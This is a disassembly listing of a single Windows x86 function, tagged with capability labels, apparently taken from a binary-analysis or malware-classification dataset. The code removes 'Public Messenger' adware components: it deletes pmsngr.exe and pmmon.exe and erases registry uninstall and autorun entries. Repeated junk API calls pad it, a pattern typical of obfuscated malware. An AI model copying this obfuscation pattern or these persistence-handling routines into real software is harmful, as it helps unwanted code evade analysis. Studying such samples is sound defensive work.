Function at 0x40176c
Capabilities:
Delete file
Delete registry value
Get file attributes
Get installed programs
Write file on windows

Disassembly:
sub esp, 0x51c
push ebx
call fcn.004013f3
xor ebx, ebx
test al, al
jne 0x4017be
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push ebx
je 0x4017a3
push ebx
call dword [sym.imp.USER32.dll_GetWindowLongA]
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x4017b7
call dword [sym.imp.KERNEL32.dll_GetFileType]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor eax, eax
jmp 0x401bf9
push ebp
push esi
push edi
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
mov esi, dword [sym.imp.KERNEL32.dll_GetFileType]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebp, dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push ebx
je 0x4017f8
push ebx
call dword [sym.imp.USER32.dll_GetWindowLongA]
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x401800
call esi
push ebx
call edi
push ebx
call ebp
push 0x104
lea eax, [esp + 0x224]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x220]
push 0x5c
push eax
call fcn.00402740
cmp eax, ebx
pop ecx
pop ecx
je 0x40182b
mov byte [eax], bl
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push ebx
je 0x401850
push ebx
call dword [sym.imp.USER32.dll_GetWindowLongA]
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x401858
call esi
push ebx
call edi
push ebx
call ebp
call fcn.00402490
push 0x16
push str.IIF_ICFRWBSII
call fcn.00401c40
push eax
lea eax, [esp + 0x434]
push eax
call fcn.00402640
add esp, 0x10
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push ebx
je 0x40189f
push ebx
call dword [sym.imp.USER32.dll_GetWindowLongA]
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x4018a7
call esi
push ebx
call edi
push ebx
call ebp
lea eax, [esp + 0x428]
push eax
push ebx
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventA]
cmp eax, ebx
mov dword [esp + 0x14], eax
je 0x401938
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push ebx
je 0x4018ef
push ebx
call dword [sym.imp.USER32.dll_GetWindowLongA]
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x4018f7
call esi
push ebx
call edi
push ebx
call ebp
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401938
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push ebx
je 0x401928
push ebx
call dword [sym.imp.USER32.dll_GetWindowLongA]
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x401930
call esi
push ebx
call edi
push ebx
call ebp
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.pmsngr.exe
call fcn.00402220
test eax, eax
pop ecx
jne 0x401903
lea eax, [esp + 0x220]
push eax
lea eax, [esp + 0x1c]
push eax
call fcn.00402640
pop ecx
pop ecx
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push ebx
je 0x401980
push ebx
call dword [sym.imp.USER32.dll_GetWindowLongA]
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x401988
call esi
push ebx
call edi
push ebx
call ebp
lea eax, [esp + 0x18]
push 0x4043fc
push eax
call fcn.00402650
pop ecx
pop ecx
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push ebx
je 0x4019c9
push ebx
call dword [sym.imp.USER32.dll_GetWindowLongA]
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x4019d1
call esi
push ebx
call edi
push ebx
call ebp
lea eax, [esp + 0x220]
push eax
lea eax, [esp + 0x1c]
push eax
call fcn.00402640
lea eax, [esp + 0x20]
push str.pmmon.exe
push eax
call fcn.00402650
add esp, 0x10
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push ebx
je 0x401a1a
push ebx
call dword [sym.imp.USER32.dll_GetWindowLongA]
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x401a22
call esi
push ebx
call edi
push ebx
call ebp
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstallPublic_Messenger_ver_2.03
push 0x80000002
call fcn.00401671
pop ecx
pop ecx
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push ebx
je 0x401a63
push ebx
call dword [sym.imp.USER32.dll_GetWindowLongA]
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x401a6b
call esi
push ebx
call edi
push ebx
call ebp
push str.VSEnchancer.Chl
push 0x80000000
call fcn.00401671
lea eax, [esp + 0x32c]
push str.AVZipE
push eax
call fcn.00402640
lea eax, [esp + 0x334]
push str.nchancer.Chl
push eax
call fcn.00402650
lea eax, [esp + 0x33c]
push eax
push 0x80000000
call fcn.00401671
add esp, 0x20
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push ebx
je 0x401ad8
push ebx
call dword [sym.imp.USER32.dll_GetWindowLongA]
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x401ae0
call esi
push ebx
call edi
push ebx
call ebp
lea eax, [esp + 0x11c]
push str.SOFTWAREMic
push eax
call fcn.00402640
lea eax, [esp + 0x124]
push str.rosoftWindowsCur
push eax
call fcn.00402650
lea eax, [esp + 0x12c]
push str.rentVersionpol
push eax
call fcn.00402650
lea eax, [esp + 0x134]
push str.iciesexplorer_run
push eax
call fcn.00402650
add esp, 0x20
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x120]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x401b8d
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push ebx
je 0x401b6c
push ebx
call dword [sym.imp.USER32.dll_GetWindowLongA]
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x401b74
call esi
push ebx
call edi
push ebx
call ebp
push str.pmsngr.exe
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push ebx
je 0x401bb2
push ebx
call dword [sym.imp.USER32.dll_GetWindowLongA]
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x401bba
call esi
push ebx
call edi
push ebx
call ebp
call fcn.004015b0
call fcn.00401d00
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push ebx
je 0x401be9
push ebx
call dword [sym.imp.USER32.dll_GetWindowLongA]
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SetFileTime]
jmp 0x401bf1
call esi
push ebx
call edi
push ebx
call ebp
call fcn.00402020
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x51c
ret 0x10